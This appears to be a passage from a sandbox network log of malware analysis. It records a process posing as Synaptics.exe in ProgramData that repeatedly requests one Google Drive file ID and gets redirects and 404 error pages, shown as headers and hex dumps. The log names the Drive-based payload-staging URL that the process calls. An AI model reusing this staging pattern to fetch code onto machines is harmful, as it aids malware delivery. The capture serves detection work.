2024-11-05 21:44:10 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:11 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:11 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-9C_z5jzUdwie-wfkoosb1A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AHmUCY2TOjFYuoTJw-tBITF0QDZL61ay_4rBbrgvWkJ6F10RCmpuh6bUWI924-GXqHWGmydZBZucLjCTzw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:11 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:11 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 32 68 5a 30 6c 48 56 45 6a 30 4c 49 69 41 34 75 6a 74 58 4b 58 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="2hZ0lHVEj0LIiA4ujtXKXw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:11 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49756	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:12 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:12 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-_EGiZRTKoPjeEi8PdHYp9g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49757	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:12 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:12 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:12 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-gP0lPJ8dSdW50GmqrpORgA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49758	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:12 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:12 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:12 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-we3SfoUgE7IkNBPCp-X23Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AHmUCY0hzbcnBA7A6ICbLDdWAEFoFoDqetBTk3gvbuRmthw3lEWxIB2R5KXRdPFX11SEV_LVR6wQAO7yfw Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:12 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:12 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 42 30 44 34 38 63 6b 62 6b 66 71 66 39 64 46 76 75 38 58 30 76 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="B0D48ckbkfqf9dFvu8X0vA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:12 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49759	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:12 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49766	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:13 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:13 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:13 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-0NdzJAyuWTfkiJMb67wL3Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 X-GUploader-UploadID: AHmUCY0XDlzRnjY_8-An-cZRDPicDrEZbgqYCm9_pUyDZPojr3Qe_NoSxoJ4Kbi7DeCx_CaYGZT-6Pcmhg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:13 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
2024-11-05 21:44:13 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 39 7a 39 63 32 46 6a 59 73 53 46 7a 4a 37 36 55 34 2d 4e 52 54 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="9z9c2FjYsSFzJ76U4-NRTw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:13 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49768	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:13 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:13 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-op_wBby1N5I5mtwb3X-o_Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49767	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:13 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:13 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:13 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-KQETekNjKOa2jrUoMEOR-Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49773	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:14 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-11-05 21:44:15 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:14 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-CDorHog5ClVn2924C62oyg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49774	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:14 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ
2024-11-05 21:44:15 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 05 Nov 2024 21:44:15 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-M8nazhg4oKO42rex5ZMwTg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 X-GUploader-UploadID: AHmUCY3ze61SvMHiWAIS73GyLJ-B-lkcmwDzU7Imdu1KSvSavyAzYLqiHTlwCirA-sSODzdST5GcoxaSoA Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-11-05 21:44:15 UTC	125	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width
